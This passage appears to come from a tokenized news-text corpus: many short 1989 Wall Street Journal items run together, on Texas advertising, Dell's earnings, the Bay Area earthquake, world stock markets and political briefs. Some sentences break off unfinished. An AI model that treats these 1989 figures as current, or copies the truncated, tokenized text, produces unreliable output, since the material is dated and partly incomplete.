Easterners . +And deposits at NCNB Texas National Bank , a unit of NCNB Corp. , Charlotte , N.C. , have increased $ 2 billion since last year after heavy advertising stressing commitment to Texas . +`` Obviously , pride sells in Texas , '' says a spokeswoman for Bozell Inc. , Omaha , Neb. , which represents +The ad campaigns usually follow one of three tracks -- stressing the company 's ` Texasness , ' pointing out the competition 's lack thereof , or trying to be more Texan than Texans . +Ford trucks may outsell Chevy trucks in places like `` Connecticut and Long Island , '' sniffs a commercial for Chevrolet , a division of General Motors Corp . +The commercial , created by Bateman , Bryan & Galles Inc. , of Dallas , adds derisively : `` I bet it takes a real tough truck to haul your Ivy League buddies to the yacht club . '' +Because they want a truck that is `` Texas tough , '' the commercial concludes , `` Texans drive Chevy . '' +J.C. Penney Co. , which relocated from New York to suburban Dallas two years ago , gently wraps itself in Texas pride through a full-page magazine ad : `` Taking the long-range view to conserve what is of value to future generations is part of the Lone Star lifestyle , '' the ad reads . +`` It 's part of our style , too . '' +According to several ad-agency sources , newcomers to the Texas banking market are spending a combined $ 50 million this year to woo Texans . +Meanwhile , surviving Texas banking institutions are busily pitching themselves as the only lenders who truly care about the state . +The most-strident anti-outsider sentiment among bankers comes from the Independent Bankers Association of Texas , although it 's hard to tell from previews of the $ 5 million `` The I 's of Texas '' TV campaign . +Commercials will highlight heart-rending scenes of Texas and chest-swelling , ain't-it-great-to-be-a-Texan music . +Supporting banks will sign a `` Texas Declaration of Independents . '' +But in introductory material for the campaign , the trade group urges members to `` arm '' for a `` revolution '' against big , out-of-state bank-holding companies . +A video sent to association members , featuring shots of the Alamo , cowboys , fajitas and a statue of Sam Houston , does n't mince words . +`` Texans can sniff a phony a mile away , '' the narrator warns outsiders . +`` So , do n't come and try to con us with a howdy y'all or a cowboy hat . '' +Young & Rubicam 's Pact +Young & Rubicam , fighting charges that it bribed Jamaican officials to win the Jamaica Tourist Board ad account in 1981 , said it will no longer create the tourist board 's advertising . +In a statement , Alex Kroll , Young & Rubicam 's chairman , said `` under the present circumstances -LCB- we -RCB- have agreed that it is prudent to discontinue that contract . '' +Young & Rubicam has pleaded innocent to the charges . +The board would n't comment on its impending search for a new ad agency to handle its estimated $ 5 million to $ 6 million account . +Ad Notes ... . +NEW ACCOUNT : +Sunshine Biscuits Inc. , Woodbridge , N.J. , awarded its estimated $ 5 million account to Waring & LaRosa , New York . +The account had been at Della Femina McNamee WCRS , New York . +MEDIA POLICY : +MacNamara Clapp & Klein , a small New York shop , is asking magazine ad representatives to tell it when major advertising inserts will run in their publications . +It says it may pull its clients ' ads from those magazines . +COKE ADS : +Coca-Cola Co. said it produced a new version of its 1971 `` I 'd like to teach the world to sing '' commercial . +The ad is part of Classic Coke 's 1990 ad campaign , with the tag line , `` Ca n't beat the Real Thing . '' +Basketball star Michael Jordan and singer Randy Travis have also agreed to appear in ads . +Dell Computer Corp. , squeezed by price pressure from its larger competitors and delays in its new product line , said its per-share earnings for fiscal 1990 will be half its previous forecasts . +Although the personal computer maker said it expects revenue to meet or exceed previous projections of $ 385 million for the year ending Jan. 28 , 1990 , earnings are expected to be 25 cents to 35 cents a share , down from previous estimates of 50 cents to 60 cents . +Earnings for fiscal 1989 were $ 14.4 million , or 80 cents a share , on sales of $ 257.8 million . +Results for the third quarter ending Oct. 31 , are expected to be released the third week of November , according to Michael Dell , chairman and chief executive officer . +Mr. Dell said he does n't expect a loss in either the third or fourth quarter , but said third-quarter earnings could be as low as four cents a share . +In the third quarter last year , Dell had net income of $ 5 million , or 26 cents a share , on sales of $ 75.2 million . +Mr. Dell attributed the earnings slide to new product delays , such as a laptop scheduled for September that wo n't be introduced until early November . +Some delays have been caused by a shortage of micoprocessors -- notably Intel Corp. 's newest chip , the 486 -- but others apparently have been caused by Dell 's explosive growth and thinly stretched resources . +`` They 've got a lot of different balls in the air at the same time , '' observes Jim Poyner , a computer securities analyst with Dallas-based William K. Woodruff & Co . +Mr. Dell , meanwhile , concedes the company was `` definitely too optimistic '' in its expectations . +Product delays , however , have left Dell buffeted by harsher competition in its bread-and-butter line of desktop computers , as powerhouse competitors Compaq Computer Corp. and International Business Machines Corp. price their PCs more aggressively . +The result has been thinner margins , which have been further eroded by an ambitious research and development effort and rapid overseas expansion . +Analyst James Weil of the Soundview Financial Group believes Dell 's response has been to place increased emphasis on product quality , `` in an effort to rise above some of that price pressure . '' +But that has been the key to Compaq 's success , he adds , whereas Dell carved out its market niche as a direct seller of low-cost but reliable computers -- and it might be too late in the game for a shift in strategy . +In national over-the-counter trading , Dell closed yesterday at $ 6 a share , down 87.5 cents . +TransAtlantic Holdings PLC , a British-based , South African-controlled financial services investment group , and France 's Societe Centrale Union des Assurances de Paris reached an accord effectively reducing chances of an unfriendly takeover for Sun Life Assurance Society PLC . +In a joint statement , the two companies , whose combined holdings equal 52.7 % of Sun Life 's ordinary shares , said their agreement is aimed at reducing `` the uncertainty and instability for Sun Life that has resulted from two major shareholders owning '' a controlling interest in the company . +TransAtlantic , whose Transol Investments Ltd. unit owns the largest minority stake in Sun Life , has agreed not to make a takeover bid for the British life insurer without the prior consent of the French company , known as UAP . +In return , the agreement would force UAP to buy TransAtlantic 's 29.8 % holding in Sun Life or sell its 22.9 % stake to TransAtlantic at a price set by Transatlantic . +Pride Petroleum Services Inc. said it agreed to buy well-servicing assets of two companies and expects to report higher third-quarter revenue and earnings . +In the year-earlier quarter , the well-servicing contractor had net income of $ 319,000 , or 3 cents a share , on revenue of about $ 15 million . +Results for the earlier quarter included a $ 100,000 restructuring charge . +Separately , the Houston concern said it signed letters of intent for the cash and stock purchases of a total of 29 well-servicing rigs from two concerns located in New Mexico and California . +It did n't disclose specifics but said it expects to complete the purchases by Nov. 1 . +Schlumberger Ltd. , New York , reported third-quarter net income edged up as growth in its oil-field services sector offset a decline in interest income . +The lower interest income occurred because Schlumberger spent $ 1.2 billion buying back its stock last year . +Net for the oil-field services and electronic measurements and systems concern rose to $ 114.2 million , or 48 cents a share , from $ 112.2 million , or 42 cents a share , a year earlier . +Per-share earnings advanced 14 % because of the buy-back . +Revenue declined 6.3 % to $ 1.11 billion from $ 1.18 billion . +But excluding businesses acquired or sold , revenue was flat at about $ 1.24 billion . +Nine-month net fell 9.5 % to $ 323.4 million , or $ 1.36 a share , from $ 357.2 million , or $ 1.32 a share , a year earlier . +Revenue dropped 5.4 % to $ 3.48 billion from $ 3.68 billion . +This year 's nine-month results include gains of $ 13 million , or five cents a share , from the sale of Schlumberger 's defense systems business , and $ 22 million , or nine cents a share , from an award by the IranU.S . Claims Tribunal . +The year-earlier nine months include a gain of $ 35 million , or 13 cents a share , from sale of the company 's Electricity Control & Transformers division . +NEW ENGLAND CRITICAL CARE Inc. offered $ 35 million in convertible subordinated debentures through Morgan Stanley & Co. and Prudential-Bache Capital Funding . +The debentures , due in 2014 , have a coupon of 7 3\/4 % , payable semiannually . +The debentures may be converted into common stock of the Westborough , Mass. , home health care concern at $ 52.50 a share . +Proceeds will be used for working capital and general corporate purposes , including expansion of the company 's operations . +The French building group Dumez S.A. said profit jumped 70 % in the first half of 1989 , partly on the strength of nonrecurring gains from a share issue by its Canadian unit . +Dumez said group profit after payments to minority interests rose to 252 million francs -LRB- $ 40.1 million -RRB- from 148 million a year earlier . +Revenue rose 40 % to 13.32 billion francs from 9.53 billion . +The group noted that 75 million francs of the advance reflected a one-time gain from the June offering by its United Westburne unit in Canada . +It did n't say if its year-earlier results were influenced significantly by nonrecurring elements . +For all of 1988 , Dumez had group profit of 452 million francs after payment to minority interests . +Revenue was 21.98 billion francs . +The group has n't forecast full-year earnings for 1989 , although it said that its first-half results are n't a good indication because of one-time elements and the seasonal nature of its operations . +Tuesday 's earthquake will depress local real-estate values in the short term and force companies to reconsider expanding in or relocating to the Bay Area and California , real-estate and relocation specialists said . +Few specialists said they expect the quake to have much of an effect on most California property values . +But real-estate experts and brokers said the quake undoubtedly will drag down prices in neighborhoods built on less stable ground , especially in the Bay Area . +`` California prices were already coming down . +This is n't going to help , '' said Kenneth T. Rosen , chairman of the Center for Real Estate and Urban Economics at the University of California at Berkeley . +State housing prices , at a median $ 201,028 , have declined in recent months because of potential buyers ' inability to afford homes . +Mr. Rosen , among others , suggested that the quake , the strongest since the 1906 temblor that struck San Francisco , will in the short term create a two-tier price system for quake-prone communities , with dwellings built on sturdy ground likely to demand higher prices . +One San Francisco neighborhood likely to test Mr. Rosen 's theory soon is the city 's fashionable Marina district , which boasts some of the highest home prices in the state . +The district , built on landfill , suffered heavy quake damage , including collapsed buildings . +Yesterday , the city demolished two dwellings in the district because of severe structural damage and said as many as 19 of the district 's 350 dwellings might have to be razed . +Brokers agreed with the two-tier price theory . +`` My gut feeling is that the Marina properties will be affected , '' said Grace Perkins , senior vice president at Grubb & Ellis Residential Brokerage Inc . +Neither she nor other real-estate executives and brokers could project how much less Marina properties might bring , but she said the two-tier price structure would affect prices `` for a while . '' +Mr. Rosen said the quake will revive consumer interest in a little-publicized 1972 state law that requires brokers to disclose to potential buyers how close a property sits to a fault line . +Because of the size of the California market , few relocation specialists expect a widespread corporate flight in the quake 's aftermath . +But they said the quake will force some companies to relocate or expand part or all of their operations outside the state . +`` What you 're going to get is ` We do n't want to put all of our eggs in one basket ' theory , '' said James H. Renzas , president of Location Management Services Inc. , a Palo Alto , Calif. , relocation concern . +Mr. Renzas , among others , said the quake will prod companies in certain industries , like semiconductors , computers and aerospace , to consider moving operations that involve particularly sensitive machinery to locations outside California . +Because of the quake threat , `` some firms have evaluated what the cost is to shore up their buildings and compared it with the cost of building it elswehere , '' he said . +One Southern California aerospace firm , for example , two months ago asked Location Management to compare the costs of reinforcing its current building against earthquakes with the cost of building a new structure elsewhere . +A new dwelling would cost $ 21 million , Location Management found , compared with $ 22 million to make the present building earthquake-proof . +The company , Mr. Renzas said , has n't yet determined what to do . +NATIONWIDE HEALTH PROPERTIES , Pasadena , Calif. , said it would n't pay its fourth-quarter dividend , despite a 44 % increase in third-quarter earnings , to $ 3.5 million , or 42 cents a share . +Net income included a gain of $ 708,000 on asset sales , the real estate investment trust said . +A year earlier , Nationwide Health earned $ 2.4 million , or 29 cents a share . +Revenue rose 3 % to $ 9 million from $ 8.8 million . +Nationwide Health said that although it has the cash to cover the 25-cent-a-share dividend , its banks have denied the company 's request to pay it because the trust has n't met certain terms . +Nationwide Health said it has `` numerous financing activities '' under way to remedy the problem and will make up the dividend payment later if possible . +Aussedat Rey S.A. , a French paper producer , said it concluded an agreement with Japan 's Fuji Photo Film Co. that will allow Aussedat Rey to manufacture and sell thermal paper using Fuji technology . +Aussedat Rey is a leading French maker of copying and electronic printing paper . +Thermal paper is used in facsimile machines . +Terms of the agreement were n't disclosed . +Aussedat Rey 's move follows similar technology-licensing agreements between Japanese producers of thermal paper and European paper groups . +W.R. Grace & Co. , New York , said its earnings for the third quarter nearly doubled as a result of a $ 114.4 million pre-tax gain from restructuring its energy operations and other adjustments . +Net income rose to $ 97.9 million , or $ 1.15 a share , from $ 50.5 million , or 60 cents a share , a year earlier . +Sales increased 7 % to $ 1.49 billion from $ 1.39 billion . +The gain resulted from the sale of Grace Equipment Co. , the initial public offering of a one-sixth interest in Grace Energy Corp. and an adjustment in the carrying value of certain natural resource assets not part of Grace Energy . +The international specialty chemical company 's earnings were hurt by an accrual for stock-appreciation rights that reflected a 19 % increase in the stock price , and higher interest expenses . +Anglo American Corp. of South Africa Ltd. said the third-quarter combined profit of its six gold mines dropped 8.5 % from the previous quarter . +Total net income fell to 471.6 million rand -LRB- $ 178.0 million -RRB- from 515.4 million rand in the June quarter . +Total gold production by all six mines rose 4 % to 63,971 kilograms from 61,493 kilograms in the previous quarter . +Doman Industries Ltd. said it increased its stake in Western Forest Products Ltd. to 56 % from 22 % , through a two-step transaction valued at 137 million Canadian dollars -LRB- $ US116.7 million -RRB- . +Doman is based in Duncan , British Columbia . +The company , founded and controlled by Harbanse Doman , its chairman and president , said the purchase would make it Canada 's 10th largest forest products company . +Under terms of the transaction , which was proposed in June , Doman said it acquired International Forest Products Ltd. 's 22 % stake in Western Forest , and Western Forest , in a related transaction , bought back a 22 % interest in the company from Fletcher Challenge Canada Ltd . +The Fletcher Challenge Canada stake was then canceled , Doman said , raising Doman 's interest in Western Forest to 56 % . +Doman said it was also granted an option to acquire the remaining 44 % interest in Western Forest , which is currently held by two Canadian banks . +International Forest , Western Forest , and Fletcher Challenge Canada are Vancouver-based forest products concerns . +The Canadian government introduced in the House of Commons legislation to extend federal regulatory authority over provincial government-owned telephone utilities in Alberta , Saskatchewan and Manitoba . +The legislation would open the way for more telephone services and more competition in the telephone business in the three provinces , federal officials said . +The federal government initiative follows a recent Canadian Supreme Court decision that held that the major telephone companies in Alberta , Saskatchewan and Manitoba and in the Atlantic coast provinces were interprovincial undertakings and subject to federal legislative authority . +Prior to the ruling the federal government had regulated only the telephone companies in Quebec , Ontario , British Columbia and the Northwest Territories . +The governments of Alberta , Saskatchewan and Manitoba have strongly opposed federal regulation of their telephone companies . +The extension of federal regulatory authority over telephone utilities in the Atlantic provinces has n't required special legislation because they are investor-owned . +Amdura Corp. said its bank group , led by Chicago-based Continental Bank , agreed to extend its $ 40 million bridge loan until March 31 , 1990 , and gave it a new $ 30 million credit line . +Under terms of the loan agreement , Amdura said it will omit the next quarterly dividends on its Series A , B , C and D preferred shares , which are due Nov. 15 . +Since the preferred stock is cumulative , Amdura said it will pay all omitted dividends , which range from $ 1.19 to $ 4.88 a share , when debt-reduction requirements have been met . +Amdura 's bridge loan , part of the financing for Amdura 's acquisition of CoastAmerica in December 1988 , was to come due next Friday . +The company 's new management , which took control of Amdura 's board after a consent solicitation last month , wanted to extend the loan while it tries to sell two units . +Proceeds from those sales will be used to reduce debt . +Amdura , a Denver hardware and automotive distributor , said the new credit agreement will provide the working capital needed to meet ongoing requirements . +Three savings-and-loan institutions in Kansas and Texas were added to the Resolution Trust Corp. 's conservatorship program after federal regulators declared the thrifts insolvent and named the RTC their receiver . +The deposits , assets and certain liabilities of the three thrifts were transferred to newly chartered federal mutual institutions . +The three institutions are : Mid Kansas Federal Savings & Loan Association , Wichita , which had $ 830.5 million in assets ; Valley Federal Savings & Loan Association of McAllen , McAllen , Texas , with $ 582.6 million in assets ; and Surety Savings Association , El Paso , with $ 309.3 million in assets . +The three insolvent thrifts will maintain normal business hours and operations under RTC-appointed managing agents , while the RTC tries to negotiate permanent resolutions . +Separately , Century Bank , Phoenix , Ariz. , was closed by Arizona banking officials . +The Federal Deposit Insurance Corp. approved the assumption of Century 's deposits and fully secured liabilities by a newly chartered subsidiary of Valley Capital Corp. , Las Vegas . +The new institution is also called Century Bank , and the failed bank 's five offices will reopen today . +The failed bank had assets of about $ 129.6 million . +The newly chartered bank will assume about $ 125.7 million in 10,300 deposit accounts and pay the FDIC a purchase premium of $ 2.9 million . +It also will buy about $ 91.7 million of assets , and the FDIC will advance $ 31.8 million to the assuming bank . +Lonrho PLC of Britain is to come to the rescue of the French distribution group Societe Commerciale de l'Ouest Africaine in an operation that has been engineered with the Paribas financial group , Societe Commerciale 's main shareholder . +The announcement came as Societe Commerciale , a trading company with activities in more than 40 countries , reported a loss of 320.5 million francs -LRB- $ 51 million -RRB- for the first six months of this year , partly because of provisions on future losses . +The rescue operation will consist of a capital boost for Societe Commerciale of one billion francs through issues of new shares and convertible bonds . +Cie . Financiere de Paribas said it intends to transfer its 30 % shareholding in Societe Commerciale to a new company which will be jointly owned with Lonrho . +This will give Paribas and Lonrho joint control of Societe Commerciale . +Paribas said Lonrho will participate in the forthcoming capital boost for Societe Commerciale . +International Business Machines Corp. and MCA Inc. said they agreed to sell their Discovision Associates joint venture to U.S. units of Pioneer Electronic Corp. for $ 200 million . +The joint venture licenses a portfolio of about 1,400 patents and patent applications relating to optical-disk recording technology . +IBM and MCA formed Discovision in 1979 to make laser-read optical products . +But the partners did n't believe the market for the systems was developing as rapidly as they had hoped . +After reportedly investing $ 100 million in the business , Discovision ceased manufacturing operations in 1982 and sold many of its assets to Tokyo-based Pioneer , among others . +Discovision now has world-wide license agreements with major manufacturers covering CD audio disks , audio disk players , videodisks and videodisk players . +It also licenses optically based data storage and retrieval devices . +James N. Fiedler , president of Discovision and a vice president of MCA , said that IBM and MCA had n't planned to sell the joint venture , which is now profitable , but that Pioneer approached Discovision earlier this year . +He said it is n't certain whether Discovision 's current management will remain when Pioneer buys the company . +The agreement is contingent on certain government approvals and should be completed later this year . +Tokyo stocks closed higher in moderately active but directionless trading as the recent anxiety in world stock markets continued to fade . +London shares also closed firmer in thin trading driven largely by technical factors and support from a new Wall Street rally . +Prices also rose on almost every other major exchange in Europe , Asia and the Pacific . +Tokyo 's Nikkei index of 225 issues , which gained 111.48 points Wednesday , climbed 266.66 , or 0.76 % , to 35374.22 . +Volume on the first section was estimated at 800 million shares , compared with 841 million Wednesday . +Winners outnumbered losers 645-293 , with 186 issues unchanged . +In early trading in Tokyo Friday , the Nikkei index rose 170.65 points , to 35544.87 . +On Thursday , the Tokyo Stock Price Index of all issues listed in the first section , which gained 0.24 point Wednesday , was up 22.78 , or 0.86 % , at 2665.66 . +The morning session was dominated by individuals and dealers , but some institutions participated in the afternoon , encouraged by the market 's firmness , traders said . +Sentiment was helped by the small gain made by New York stocks Wednesday despite anxiety over possible effects of the major earthquake that struck northern California Tuesday . +Having survived both last Friday 's 6.9 % Wall Street plunge and the immediate aftermath of the San Francisco Bay area earthquake , Tokyo market participants expressed relief that trading had returned to normal . +Hiroyuki Murai , general manager of the stock trading division at Nikko Securities , said that after looking at the reasons for Friday 's Wall Street plunge , participants realized that the Tokyo and New York markets have different economic fundamentals . +This conclusion , he said , restored the credibility of Tokyo stocks . +Yoshiaki Mitsuoka , head of the investment information department at Daiwa Investment Trust & Management , said that if New York stocks just fluctuate in or near their current range , the Tokyo market will remain firm with a moderately upward trend for the rest of the year . +But traders said the market lacks a base on which to set long-term buying strategy , as the future direction of U.S. interest rates remains unclear . +`` Investor interest switches back and forth ceaselessly as they are unable to shift their weight to one side for sure , '' Mr. Mitsuoka of Daiwa Investment Trust said . +Many of Wednesday 's winners were losers yesterday as investors quickly took profits and rotated their buying to other issues , traders said . +Pharmaceuticals made across-the-board advances . +Fujisawa Pharmaceutical gained 130 to 1,930 yen -LRB- $ 13.64 -RRB- a share , Mochida Pharmaceutical was up 150 at 4,170 , and Eisai advanced 60 to 2,360 . +Housing issues were boosted by a report that Daiwa House expects to post 43 % higher earnings for its latest fiscal year , traders said . +Daiwa House advanced 100 to 2,610 , Misawa Homes was up 60 at 2,940 , and Sekisui House gained 100 to 2,490 . +Leading construction companies also attracted interest for their strong earnings outlooks , traders said . +They and many other major Japanese corporations will issue results soon for the fiscal first half ended Sept. 30 . +Ohbayashi was up 60 to close at 1,680 , Shimizu gained 50 to 2,120 , and Kumagai-Gumi advanced 40 to 1,490 . +Other winners included real estate issues Mitsubishi Estate , which closed at 2,500 , up 130 , and Mitsui Real Estate Development , which gained 100 to 2,890 . +Steel shares fell back after advancing for three days . +Kawasaki Steel was down 11 at 788 , Kobe Steel lost 5 to 723 , and Nippon Steel slipped 6 to 729 . +Mitsubishi Rayon , a leading advancer Wednesday , fell 44 to 861 as investors grabbed profits . +London 's Financial Times-Stock Exchange 100-share index finished 19.2 points higher at 2189.3 . +The Financial Times 30-share index ended 13.6 higher at 1772.1 . +Volume continued to ease from the active dealings at the start of the week . +Turnover was 382.9 million shares , compared with 449.3 million Wednesday . +Dealers said the market was underpinned by a squeeze in FT-SE 100 stocks , particularly among market-makers seeking shares that had been hit hard in recent weeks , such as retailers and building-related concerns . +But despite the flurry of interest in those shares , dealers said , the market remains nervous about Wall Street 's volatility and high U.K. interest rates . +U.K. money supply figures for September , released yesterday , showed continued growth in corporate and personal lending , which will keep pressure on the government to maintain tight credit . +Among the stocks featured in the market-makers ' squeeze was Sears , which closed at 107 pence -LRB- $ 1.70 -RRB- a share , up 3 . +General Universal Stores , another top-tier stock hit recently by concerns over retail demand in the face of high interest rates , gained 20 to # 10.44 . +Storehouse gained 2 to +Another active FT-SE 100 stock was clothing and furniture retailer Burton , which gained 6 to 196 . +Insurers recovered ground again on market-maker demand and speculative buying linked to talk of mergers in the industry before the European Community 's planned market unification in +Royal Insurance was the sector 's hottest issue , ending 15 higher at 465 . +Sun Alliance fell 1 to close at 289 , and General Accident jumped 10 to # 10.13 . +B.A.T Industries surged in afternoon dealings after its shareholders approved a plan to dispose of its U.S. and U.K. retailing operations to fend off Hoylake Investment 's # 13.4 billion -LRB- $ 21.33 billion -RRB- hostile bid . +With the company also exercising a plan to buy back as many as 10 % of its shares outstanding , B.A.T closed at 783 , up 27 . +Turnover was 6.8 million shares , including about four million shares traded in the afternoon after the shareholders ' meeting . +B.A.T said it purchased 2.5 million shares at 785 . +In other European markets , shares closed sharply higher in Stockholm , Frankfurt , Zurich and Paris and higher in Milan , Amsterdam and Brussels . +South African gold stocks closed firmer . +Prices also closed higher in Singapore , Sydney , Taipei , Wellington , Hong Kong and Manila but were lower in Seoul . +Here are price trends on the world 's major stock markets , as calculated by Morgan Stanley Capital International Perspective , Geneva . +To make them directly comparable , each index is based on the close of 1969 equaling 100 . +The percentage change is since year-end . +The federal response to California 's earthquake crisis was marred by coast-to-coast name-calling between the White House and San Francisco 's Mayor Art Agnos . +Mr. Agnos complained that he was `` ticked off '' that Vice President Dan Quayle , who toured the earthquake site Wednesday , did n't schedule a private meeting with him . +The mayor said the Quayle visit was `` a publicity stunt . '' +The White House said Mr. Quayle 's staff had invited the mayor to two meetings of the vice president and groups of local officials and had offered to dispatch a helicopter to pick him up . +Mr. Agnos declined the invitations , the White House said . +Marlin Fitzwater , White House press secretary , also asserted that Mr. Agnos had failed to return telephone calls from John Sununu , White House chief of staff . +`` We regret very much that the mayor of San Francisco has decided not to cooperate with us on this matter in making sure that there is adequate federal support for the disaster in his city , '' Mr. Fitzwater said . +By late yesterday , both sides appeared prepared to bury the hatchet . +The White House announced that Mr. Agnos , along with the mayors of Oakland and Alameda , are to accompany President Bush on a tour of the earthquake area today . +And one White House official reported that Mr. Agnos had been `` very helpful '' in making arrangements for Mr. Bush 's hastily scheduled trip to California . +Gold and silver broker Preston Semel asked a federal court to halt the Commodity Exchange from imposing a record $ 550,000 fine on his firm . +The suit , filed in federal court in Manhattan , also asks that the Comex 's nine-month suspension of Mr. Semel be lifted , pending the broker 's appeal of the disciplinary measures . +The fine and suspension , announced in August , are the stiffest sanctions the Comex has ever ordered against one of its members . +The Comex accused the 39-year-old Mr. Semel of `` fraudulent conduct '' and improper trading . +The disciplinary proceedings stem from trading in April 1987 . +Mr. Semel and his firm , Semel & Co. , have appealed the Comex decision and the sanctions to the Commodity Futures Trading Commission . +The commission denied Mr. Semel 's request that the fine and suspension be delayed pending the appeal . +The lawsuit states that unless the sanctions are halted pending an appeal , the broker and his firm `` will be irreparably injured and their business will be totally and permanently destroyed . '' +Already the firm has paid $ 211,666 of the fine , the suit said , and it will have to liquidate additional assets in order to pay the rest . +A spokesman for the Comex could n't be reached to comment . +The Federal National Mortgage Association said 39 lenders across the U.S. have agreed to offer home loans under Fannie Mae 's pilot program for elderly people . +Fannie Mae , a federally chartered and shareholder-owned company , said the lenders include Prudential Home Mortgage Co. , a unit of Prudential Insurance Co. of America that operates in every state . +Prudential Insurance is based in Newark , N.J . +Fannie Mae has agreed to buy as much as $ 100 million of loans under its Seniors ' Housing Opportunities pilot program , which offers four types of loans to people 62 years of age or older to help them maintain their home or obtain housing . +The loans can be for accessory apartments , for cottages built in a relative 's yard , for home-sharing or for sale-lease-back transactions . +Fannie Mae makes a secondary market in home loans . +It buys loans from lenders , packages some into securities for sale to investors and holds the remainder in a portfolio . +Robert M. Gintel , senior partner of a Greenwich , Conn. , investment firm , said he plans to launch a proxy fight against the board of Boston-based Xtra Corp . +Mr. Gintel , head of Gintel & Co. , said he plans to conduct a proxy contest to elect a majority of Xtra 's board at the next annual stockholders meeting . +Xtra , a transportation leasing company , said in a statement it would have no comment on Mr. Gintel 's plans until `` further information has been disclosed by him . '' +The company also said its 1990 annual meeting has not been scheduled . +Mr. Gintel owns 300,000 of the company 's 6.3 million common shares outstanding . +Xtra said it recently bought back approximately 55,000 of its shares pursuant to its existing authorization to acquire as many as 650,000 shares . +Mr. Gintel has filed suit in Delaware Chancery Court , seeking to block Xtra 's anti-takeover tactic . +In a filing with the Securities and Exchange Commission , Mr. Gintel said Xtra `` has pursued business strategies that are n't in the best interest of stockholders . +STOCKS AND BONDS SURGED on the second anniversary of Black Monday as a favorable inflation report prompted speculation of lower interest rates . +The Dow Jones industrials closed up 39.55 , at 2683.20 , after rising over 60 points in mid-afternoon . +The rally brought the gain so far this week to about 114 points . +The dollar finished mixed , while gold declined . +Consumer prices climbed a moderate 0.2 % in September , mostly due to higher clothing costs . +Energy prices continued to fall at the retail level , but economists worried about a big rise in wholesale energy costs . +British Airways dropped out of the current bidding for United Air 's parent , leaving a UAL management-pilots group without a key partner . +British Air 's move raised new questions about the buy-out group 's efforts to revive a stalled bid for UAL . +A capital-gains tax-cut plan was dropped by Senate Democrats under pressure from their leadership . +The move is a setback for Bush , who needs Democratic support to pass a capital-gains cut in the Senate . +Other tax breaks also are likely to be restored or created in the coming months as special interest groups try to undo the 1986 tax overhaul . +Many retailers are worried that a price war could erupt this Christmas if cash-strapped firms such as Campeau slash prices to spur sales . +AT&T unveiled a sweetened early retirement plan for management that the company hopes will save it $ 450 million in the next year . +Also , profit rose 19 % in the third quarter . +Chrysler will idle a Toledo assembly plant temporarily due to slowing sales of its profitable Jeep Cherokee and Wagoneer sport utility vehicles . +Digital Equipment 's profit fell 32 % in the latest quarter , prompting forecasts of weaker results ahead . +Analysts were troubled by signs of flat U.S. orders at the computer maker . +IBM plans to unveil over 50 software products on Tuesday to try to end some of the problems in computerizing manufacturing operations . +The TV units of Paramount and MCA are exploring offering prime-time programming to independent stations two nights a week . +BankAmerica 's profit jumped 34 % in the third quarter . +The rapid recovery continued to be fueled by growth in consumer loans , higher interest margins and only minor loan losses . +Big Board short interest fell 4.2 % for the month ended Oct. 13 , the second decline in a row . +Borrowed shares on the Amex rose to another record . +Bell Atlantic posted a strong earnings gain for the third quarter , as did Southern New England Telecommunications . +But Nynex , Pacific Telesis and U S West had lower profits . +B.A.T Industries won shareholder approval for a defensive restructuring to fend off Sir James Goldsmith . +American Express 's profit climbed 21 % in the quarter , aided by a surge in its travel business and despite a big rise in Third World loan reserves . +Markets -- +Stocks : Volume 198,120,000 shares . +Dow Jones industrials 2683.20 , up 39.55 ; transportation 1263.51 , up 15.64 ; utilities 215.42 , up 1.45 . +Bonds : Shearson Lehman Hutton Treasury index 3398.65 , up +Commodities : Dow Jones futures index 130.13 , up 0.23 ; spot index 130.46 , up 0.10 . +Dollar : 141.70 yen , up 0.25 ; 1.8470 marks , off 0.0015 . +Computer Sciences Corp. , El Segundo , Calif. , said the National Aeronautics and Space Administration will negotiate details of a contract valued at about $ 170 million to provide software for the Ames Research Center . +Included in the three-year contract are options for two one-year renewals . +NASA awarded the contract to CSC in November but an appeal by Sterling Software Inc. of Dallas sent the contract to the General Services Administration Board of Contract Appeals and the board required NASA to re-evaluate bidders ' proposals . +Sterling had completed a five-year contract for NASA but lost its bid for renewal . +As directed by the board , NASA completed the evaluation and again chose CSC . +For its fiscal year ended March 31 , CSC had revenue of $ 1.3 billion . +AFTERSHOCKS RATTLED Northern California amid an earthquake cleanup . +As power and commuters returned to much of downtown San Francisco for the first time since Tuesday 's temblor in the Bay area , three strong aftershocks , one measuring 5.0 on the Richter scale , jolted the region . +Serious injuries or damages were n't reported . +Californians , meanwhile , tried to cope with still-limited services , blocked roadways and water shortages in the aftermath of the tremor that left scores dead and injured . +Thousands remained homeless . +Bush is to visit the area today , and officials in Washington estimated that emergency assistance would total at least $ 2.5 billion . +A series of earthquakes struck northern China , killing at least 29 people , injuring hundreds and razing about 8,000 homes , the Xinhua News Agency said . +The Senate rejected a constitutional amendment sought by Bush to prohibit desecration of the U.S. flag . +While the proposal won a slight majority , the 51-48 vote was well short of the two-thirds needed to approve changes in the Constitution . +It was considered a victory for Democratic leaders , who favor a law barring flag burning . +The House approved an $ 837 million aid package for Poland and Hungary , nearly double what Bush had requested . +The vote of 345-47 sent the measure to the Senate . +Britain 's chief justice quashed the murder convictions of four people for Irish Republican Army bombings that killed seven people in 1974 . +The reversal came after the government conceded that investigators may have faked evidence . +The `` Guildford Four , '' three Irishmen and an Englishwoman , have been imprisoned since 1975 . +The Nobel Prize in literature was won by Camilo Jose Cela , a Spanish writer . +His 1942 novel `` The Family of Pascual Duarte '' is considered the most popular work of fiction in Spanish since Cervantes 's `` Don Quixote '' was published 400 years ago . +The Swedish Academy in Stockholm cited the 73-year-old Cela for `` rich and intensive prose . '' +The editor of Pravda was dismissed and succeeded by a confidant of Soviet leader Gorbachev . +The action at the Communist Party daily , viewed as the Soviet Union 's most authoritative newspaper , was considered the most significant development in a week of Kremlin wrangling over the press , including sharp criticism from Gorbachev . +East Germany 's new leader met with Lutheran Church officials to discuss a growing opposition movement demanding democratic freedoms . +As they conferred near East Berlin , a pro-democracy protest erupted in the Baltic city of Greifswald , and activists threatened further rallies against leader Krenz 's expected hard-line policies . +Police in Prague raided an international meeting on human rights , detaining Czechoslovakia 's former foreign minister , Jiri Hajak , and 14 other activists . +A leading U.S. human-rights monitor also was briefly held . +Dissident playwright Vaclav Havel reportedly escaped the crackdown , the fourth against activists in recent days . +Bush met in Washington with Spain 's Prime Minister Gonzalez and discussed what the president called `` the unique role '' that Madrid can play in furthering democracy in Eastern Europe and Latin America . +Gonzalez , who pledged to help monitor voting in Nicaragua , was said to be carrying proposals for free elections in Panama . +The Galileo spacecraft sped unerringly toward the planet Jupiter , while five astronauts aboard the space 